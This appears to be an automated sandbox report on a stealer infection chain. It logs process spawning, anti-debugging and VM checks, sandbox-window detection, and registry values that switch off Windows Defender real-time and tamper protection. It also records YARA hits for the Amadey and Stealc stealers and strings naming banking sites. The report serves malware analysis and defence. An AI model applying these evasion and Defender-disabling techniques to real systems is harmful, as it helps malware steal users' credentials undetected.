Source: C:\Users\user\AppData\Local\Temp\1005682001\0b7df35e6b.exe	Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Local\Temp\1005682001\0b7df35e6b.exe	Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Local\Temp\1005682001\0b7df35e6b.exe	Thread delayed: delay time: 922337203685477

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window / User API: threadDelayed 994
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window / User API: threadDelayed 373
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window / User API: threadDelayed 1123
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window / User API: threadDelayed 1007
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window / User API: threadDelayed 1410

Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\vcruntime140[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\nss3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\msvcp140[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\freebl3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\softokn3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\mozglue[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\ProgramData\softokn3.dll	Jump to dropped file

Source: C:\Users\user\Desktop\file.exe

API coverage: 0.3 %

Source: C:\Users\user\Desktop\file.exe TID: 3008	Thread sleep time: -42021s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 7728	Thread sleep count: 40 > 30
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 7728	Thread sleep time: -80040s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 9212	Thread sleep count: 994 > 30
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 9212	Thread sleep time: -1988994s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 9180	Thread sleep count: 373 > 30
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 9180	Thread sleep time: -11190000s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 8300	Thread sleep count: 1123 > 30
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 8300	Thread sleep time: -2247123s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 8360	Thread sleep time: -180000s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 9208	Thread sleep count: 1007 > 30
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 9208	Thread sleep time: -2015007s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 9208	Thread sleep count: 1410 > 30
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 9208	Thread sleep time: -2821410s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1005682001\0b7df35e6b.exe TID: 6972	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1005682001\0b7df35e6b.exe TID: 8664	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1005682001\0b7df35e6b.exe TID: 5892	Thread sleep time: -922337203685477s >= -30000s

Source: C:\Windows\System32\conhost.exe

Last function: Thread delayed

Source: C:\Users\user\DocumentsKKFHJJDHJE.exe

File Volume queried: C:\ FullSizeInformation

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6C66C930 GetSystemInfo,VirtualAlloc,GetSystemInfo,VirtualFree,VirtualAlloc,

0_2_6C66C930

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread delayed: delay time: 30000
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread delayed: delay time: 180000
Source: C:\Users\user\AppData\Local\Temp\1005682001\0b7df35e6b.exe	Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Local\Temp\1005682001\0b7df35e6b.exe	Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Local\Temp\1005682001\0b7df35e6b.exe	Thread delayed: delay time: 922337203685477

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\bg\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\html\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\images\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\css\	Jump to behavior

Source: file.exe, file.exe, 00000000.00000002.2410970889.000000000103C000.00000040.00000001.01000000.00000003.sdmp, DocumentsKKFHJJDHJE.exe, DocumentsKKFHJJDHJE.exe, 00000014.00000002.2462218472.00000000007CC000.00000040.00000001.01000000.0000000B.sdmp, skotes.exe, skotes.exe, 00000015.00000002.2503598108.0000000000A9C000.00000040.00000001.01000000.0000000E.sdmp, skotes.exe, 00000017.00000002.4482945399.0000000000A9C000.00000040.00000001.01000000.0000000E.sdmp, f0388bf2aa.exe, 00000018.00000002.2794375166.0000000000D5C000.00000040.00000001.01000000.0000000F.sdmp, f0388bf2aa.exe, 0000001B.00000002.2917754168.0000000000D5C000.00000040.00000001.01000000.0000000F.sdmp, 0b7df35e6b.exe, 0000001C.00000002.3028724834.0000000000384000.00000040.00000001.01000000.00000010.sdmp, f0388bf2aa.exe, 0000001D.00000002.2999165618.0000000000D5C000.00000040.00000001.01000000.0000000F.sdmp, 0b7df35e6b.exe, 0000001E.00000002.3084753777.0000000000384000.00000040.00000001.01000000.00000010.sdmp, 0b7df35e6b.exe, 0000001F.00000002.3219367648.0000000000384000.00000040.00000001.01000000.00000010.sdmp	Binary or memory string: HARDWARE\ACPI\DSDT\VBOX__
Source: DBKKFCBA.0.dr	Binary or memory string: Canara Transaction PasswordVMware20,11696428655x
Source: DBKKFCBA.0.dr	Binary or memory string: discord.comVMware20,11696428655f
Source: DBKKFCBA.0.dr	Binary or memory string: interactivebrokers.co.inVMware20,11696428655d
Source: DBKKFCBA.0.dr	Binary or memory string: Interactive Brokers - COM.HKVMware20,11696428655
Source: DBKKFCBA.0.dr	Binary or memory string: global block list test formVMware20,11696428655
Source: DBKKFCBA.0.dr	Binary or memory string: Canara Transaction PasswordVMware20,11696428655}
Source: file.exe, 00000000.00000002.2411681140.00000000019C2000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000017.00000002.4488286299.0000000000DE9000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000017.00000002.4488286299.0000000000E19000.00000004.00000020.00020000.00000000.sdmp, f0388bf2aa.exe, 00000018.00000002.2795084651.0000000001371000.00000004.00000020.00020000.00000000.sdmp, f0388bf2aa.exe, 00000018.00000002.2795084651.0000000001343000.00000004.00000020.00020000.00000000.sdmp, f0388bf2aa.exe, 0000001B.00000002.2918547497.00000000016E9000.00000004.00000020.00020000.00000000.sdmp, f0388bf2aa.exe, 0000001B.00000002.2918547497.0000000001717000.00000004.00000020.00020000.00000000.sdmp, f0388bf2aa.exe, 0000001D.00000002.3002668049.00000000013F8000.00000004.00000020.00020000.00000000.sdmp, f0388bf2aa.exe, 0000001D.00000002.3002668049.00000000013C8000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: DBKKFCBA.0.dr	Binary or memory string: Interactive Brokers - EU East & CentralVMware20,11696428655
Source: DocumentsKKFHJJDHJE.exe, 00000014.00000002.2463658704.0000000000D83000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\(
Source: DBKKFCBA.0.dr	Binary or memory string: Canara Change Transaction PasswordVMware20,11696428655^
Source: DBKKFCBA.0.dr	Binary or memory string: account.microsoft.com/profileVMware20,11696428655u
Source: file.exe, 00000000.00000002.2411681140.0000000001993000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW0W
Source: DBKKFCBA.0.dr	Binary or memory string: secure.bankofamerica.comVMware20,11696428655\|UE
Source: DBKKFCBA.0.dr	Binary or memory string: www.interactivebrokers.comVMware20,11696428655}
Source: DBKKFCBA.0.dr	Binary or memory string: Interactive Brokers - GDCDYNVMware20,11696428655p
Source: DBKKFCBA.0.dr	Binary or memory string: Interactive Brokers - EU WestVMware20,11696428655n
Source: DBKKFCBA.0.dr	Binary or memory string: outlook.office365.comVMware20,11696428655t
Source: DBKKFCBA.0.dr	Binary or memory string: microsoft.visualstudio.comVMware20,11696428655x
Source: DBKKFCBA.0.dr	Binary or memory string: Canara Change Transaction PasswordVMware20,11696428655
Source: DBKKFCBA.0.dr	Binary or memory string: outlook.office.comVMware20,11696428655s
Source: DBKKFCBA.0.dr	Binary or memory string: www.interactivebrokers.co.inVMware20,11696428655~
Source: DBKKFCBA.0.dr	Binary or memory string: ms.portal.azure.comVMware20,11696428655
Source: DBKKFCBA.0.dr	Binary or memory string: AMC password management pageVMware20,11696428655
Source: DBKKFCBA.0.dr	Binary or memory string: tasks.office.comVMware20,11696428655o
Source: DBKKFCBA.0.dr	Binary or memory string: Interactive Brokers - NDCDYNVMware20,11696428655z
Source: DBKKFCBA.0.dr	Binary or memory string: turbotax.intuit.comVMware20,11696428655t
Source: DBKKFCBA.0.dr	Binary or memory string: interactivebrokers.comVMware20,11696428655
Source: DBKKFCBA.0.dr	Binary or memory string: Interactive Brokers - non-EU EuropeVMware20,11696428655
Source: DBKKFCBA.0.dr	Binary or memory string: dev.azure.comVMware20,11696428655j
Source: DBKKFCBA.0.dr	Binary or memory string: netportal.hdfcbank.comVMware20,11696428655
Source: f0388bf2aa.exe, 0000001D.00000002.3002668049.000000000138B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMwareVMware
Source: DBKKFCBA.0.dr	Binary or memory string: Interactive Brokers - HKVMware20,11696428655]
Source: f0388bf2aa.exe, 0000001D.00000002.3002668049.00000000013F8000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWL
Source: DBKKFCBA.0.dr	Binary or memory string: bankofamerica.comVMware20,11696428655x
Source: file.exe, 00000000.00000002.2410970889.000000000103C000.00000040.00000001.01000000.00000003.sdmp, DocumentsKKFHJJDHJE.exe, 00000014.00000002.2462218472.00000000007CC000.00000040.00000001.01000000.0000000B.sdmp, skotes.exe, 00000015.00000002.2503598108.0000000000A9C000.00000040.00000001.01000000.0000000E.sdmp, skotes.exe, 00000017.00000002.4482945399.0000000000A9C000.00000040.00000001.01000000.0000000E.sdmp, f0388bf2aa.exe, 00000018.00000002.2794375166.0000000000D5C000.00000040.00000001.01000000.0000000F.sdmp, f0388bf2aa.exe, 0000001B.00000002.2917754168.0000000000D5C000.00000040.00000001.01000000.0000000F.sdmp, 0b7df35e6b.exe, 0000001C.00000002.3028724834.0000000000384000.00000040.00000001.01000000.00000010.sdmp, f0388bf2aa.exe, 0000001D.00000002.2999165618.0000000000D5C000.00000040.00000001.01000000.0000000F.sdmp, 0b7df35e6b.exe, 0000001E.00000002.3084753777.0000000000384000.00000040.00000001.01000000.00000010.sdmp, 0b7df35e6b.exe, 0000001F.00000002.3219367648.0000000000384000.00000040.00000001.01000000.00000010.sdmp	Binary or memory string: Restart now?\\.\Oreans.vxd%s\Oreans.vxdXprotEventHARDWARE\ACPI\DSDT\VBOX__SeShutdownPrivilegeSoftware\WinLicenseCreateEvent API Error while extraction the driverGetEnvironmentVariable API Error while extraction the driverOpenSCManager API Error while extraction the driverCreateService API Error while extraction the driverCloseServiceHandle API Error while extraction the driverOpenService API Error while extraction the driverStartService API Error while extraction the driverAPIC error: Cannot find Processors Control Blocks. Please,
Source: DBKKFCBA.0.dr	Binary or memory string: trackpan.utiitsl.comVMware20,11696428655h
Source: DBKKFCBA.0.dr	Binary or memory string: Test URL for global passwords blocklistVMware20,11696428655

Source: C:\Users\user\Desktop\file.exe

System information queried: ModuleInformation

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Process information queried: ProcessInformation

Jump to behavior

Anti Debugging

Hides threads from debuggers

Source: C:\Users\user\Desktop\file.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\DocumentsKKFHJJDHJE.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\1005680001\f0388bf2aa.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\1005680001\f0388bf2aa.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\1005682001\0b7df35e6b.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\1005680001\f0388bf2aa.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\1005682001\0b7df35e6b.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\1005682001\0b7df35e6b.exe	Thread information set: HideFromDebugger

Tries to detect sandboxes and other dynamic analysis tools (window names)

Source: C:\Users\user\AppData\Local\Temp\1005682001\0b7df35e6b.exe	Open window title or class name: regmonclass
Source: C:\Users\user\AppData\Local\Temp\1005682001\0b7df35e6b.exe	Open window title or class name: gbdyllo
Source: C:\Users\user\AppData\Local\Temp\1005682001\0b7df35e6b.exe	Open window title or class name: process monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\AppData\Local\Temp\1005682001\0b7df35e6b.exe	Open window title or class name: procmon_window_class
Source: C:\Users\user\AppData\Local\Temp\1005682001\0b7df35e6b.exe	Open window title or class name: registry monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\AppData\Local\Temp\1005682001\0b7df35e6b.exe	Open window title or class name: ollydbg
Source: C:\Users\user\AppData\Local\Temp\1005682001\0b7df35e6b.exe	Open window title or class name: filemonclass
Source: C:\Users\user\AppData\Local\Temp\1005682001\0b7df35e6b.exe	Open window title or class name: file monitor - sysinternals: www.sysinternals.com

Source: C:\Users\user\AppData\Local\Temp\1005682001\0b7df35e6b.exe	File opened: NTICE
Source: C:\Users\user\AppData\Local\Temp\1005682001\0b7df35e6b.exe	File opened: SICE
Source: C:\Users\user\AppData\Local\Temp\1005682001\0b7df35e6b.exe	File opened: SIWVID

Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\DocumentsKKFHJJDHJE.exe	Process queried: DebugPort
Source: C:\Users\user\DocumentsKKFHJJDHJE.exe	Process queried: DebugPort
Source: C:\Users\user\DocumentsKKFHJJDHJE.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1005680001\f0388bf2aa.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1005680001\f0388bf2aa.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1005680001\f0388bf2aa.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1005680001\f0388bf2aa.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1005680001\f0388bf2aa.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1005680001\f0388bf2aa.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1005682001\0b7df35e6b.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1005682001\0b7df35e6b.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1005682001\0b7df35e6b.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1005680001\f0388bf2aa.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1005680001\f0388bf2aa.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1005680001\f0388bf2aa.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1005682001\0b7df35e6b.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1005682001\0b7df35e6b.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1005682001\0b7df35e6b.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1005682001\0b7df35e6b.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1005682001\0b7df35e6b.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1005682001\0b7df35e6b.exe	Process queried: DebugPort

Source: C:\Users\user\DocumentsKKFHJJDHJE.exe

Code function: 20_2_04E20E1A rdtsc

20_2_04E20E1A

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6C6B5FF0 IsDebuggerPresent,??0PrintfTarget@mozilla@@IAE@XZ,?vprint@PrintfTarget@mozilla@@QAE_NPBDPAD@Z,OutputDebugStringA,__acrt_iob_func,_fileno,_dup,_fdopen,__stdio_common_vfprintf,fclose,

0_2_6C6B5FF0

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6C6BC410 LoadLibraryW,GetProcAddress,FreeLibrary,

0_2_6C6BC410

Source: C:\Users\user\DocumentsKKFHJJDHJE.exe	Code function: 20_2_0061652B mov eax, dword ptr fs:[00000030h]	20_2_0061652B
Source: C:\Users\user\DocumentsKKFHJJDHJE.exe	Code function: 20_2_0061A302 mov eax, dword ptr fs:[00000030h]	20_2_0061A302
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 21_2_008EA302 mov eax, dword ptr fs:[00000030h]	21_2_008EA302
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 21_2_008E652B mov eax, dword ptr fs:[00000030h]	21_2_008E652B

Source: C:\Users\user\AppData\Local\Temp\1005682001\0b7df35e6b.exe

Process token adjusted: Debug

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C68B66C SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	0_2_6C68B66C
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C68B1F7 IsProcessorFeaturePresent,memset,memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	0_2_6C68B1F7
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C83AC62 IsProcessorFeaturePresent,memset,memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	0_2_6C83AC62

Source: C:\Users\user\Desktop\file.exe

Memory protected: page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

Yara detected Powershell download and execute

Source: Yara match	File source: Process Memory Space: file.exe PID: 6008, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: f0388bf2aa.exe PID: 7752, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: f0388bf2aa.exe PID: 8476, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: f0388bf2aa.exe PID: 7608, type: MEMORYSTR

Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c start "" "C:\Users\user\DocumentsKKFHJJDHJE.exe"	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\DocumentsKKFHJJDHJE.exe "C:\Users\user\DocumentsKKFHJJDHJE.exe"
Source: C:\Users\user\DocumentsKKFHJJDHJE.exe	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1005680001\f0388bf2aa.exe "C:\Users\user\AppData\Local\Temp\1005680001\f0388bf2aa.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1005682001\0b7df35e6b.exe "C:\Users\user\AppData\Local\Temp\1005682001\0b7df35e6b.exe"

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6C884760 malloc,InitializeSecurityDescriptor,SetSecurityDescriptorOwner,SetSecurityDescriptorGroup,GetLengthSid,GetLengthSid,GetLengthSid,malloc,InitializeAcl,AddAccessAllowedAce,AddAccessAllowedAce,AddAccessAllowedAce,SetSecurityDescriptorDacl,PR_SetError,GetLastError,free,GetLastError,GetLastError,free,free,free,

0_2_6C884760

Source: file.exe	Binary or memory string: '@Program Manager
Source: file.exe, 00000000.00000002.2410970889.000000000103C000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: @Program Manager

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6C68B341 cpuid

0_2_6C68B341

Source: C:\Users\user\Desktop\file.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0			Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1005680001\f0388bf2aa.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1005680001\f0388bf2aa.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1005682001\0b7df35e6b.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1005682001\0b7df35e6b.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1005680001\f0388bf2aa.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1005680001\f0388bf2aa.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1005680001\f0388bf2aa.exe	Queries volume information: C:\ VolumeInformation

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6C6535A0 ?Startup@TimeStamp@mozilla@@SAXXZ,InitializeCriticalSectionAndSpinCount,getenv,QueryPerformanceFrequency,_strnicmp,GetSystemTimeAdjustment,__aulldiv,QueryPerformanceCounter,EnterCriticalSection,LeaveCriticalSection,QueryPerformanceCounter,EnterCriticalSection,LeaveCriticalSection,__aulldiv,strcmp,strcmp,_strnicmp,

0_2_6C6535A0

Lowering of HIPS / PFW / Operating System Security Settings

Disable Windows Defender notifications (registry)

Source: C:\Users\user\AppData\Local\Temp\1005682001\0b7df35e6b.exe

Registry key value created / modified: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender Security Center\Notifications DisableNotifications 1

Disable Windows Defender real time protection (registry)

Source: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection	Registry value created: DisableIOAVProtection 1
Source: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection	Registry value created: DisableRealtimeMonitoring 1
Source: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender Security Center\Notifications	Registry value created: DisableNotifications 1

Disables Windows Defender Tamper protection

Source: C:\Users\user\AppData\Local\Temp\1005682001\0b7df35e6b.exe

Registry value created: TamperProtection 0

Modifies windows update settings

Source: C:\Users\user\AppData\Local\Temp\1005682001\0b7df35e6b.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU AUOptions
Source: C:\Users\user\AppData\Local\Temp\1005682001\0b7df35e6b.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU AutoInstallMinorUpdates
Source: C:\Users\user\AppData\Local\Temp\1005682001\0b7df35e6b.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate DoNotConnectToWindowsUpdateInternetLocations

Stealing of Sensitive Information

Yara detected Amadeys stealer DLL

Source: Yara match	File source: 21.2.skotes.exe.8b0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 23.2.skotes.exe.8b0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 20.2.DocumentsKKFHJJDHJE.exe.5e0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000017.00000002.4481339709.00000000008B1000.00000040.00000001.01000000.0000000E.sdmp, type: MEMORY
Source: Yara match	File source: 00000014.00000002.2461929349.00000000005E1000.00000040.00000001.01000000.0000000B.sdmp, type: MEMORY
Source: Yara match	File source: 00000015.00000002.2502298875.00000000008B1000.00000040.00000001.01000000.0000000E.sdmp, type: MEMORY

Yara detected Stealc

Source: Yara match	File source: 0000001B.00000002.2917558325.0000000000981000.00000040.00000001.01000000.0000000F.sdmp, type: MEMORY
Source: Yara match	File source: 0000001B.00000003.2877272364.0000000005330000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001B.00000002.2918547497.00000000016AB000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2411681140.000000000194E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001D.00000002.3002668049.000000000138B000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001D.00000002.2998798875.0000000000981000.00000040.00000001.01000000.0000000F.sdmp, type: MEMORY
Source: Yara match	File source: 0000001D.00000003.2958211114.0000000004EC0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000018.00000002.2794178942.0000000000981000.00000040.00000001.01000000.0000000F.sdmp, type: MEMORY
Source: Yara match	File source: 00000018.00000002.2795084651.00000000012FE000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2410670260.0000000000C61000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000018.00000003.2753904941.0000000004FB0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.2029990160.0000000005450000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
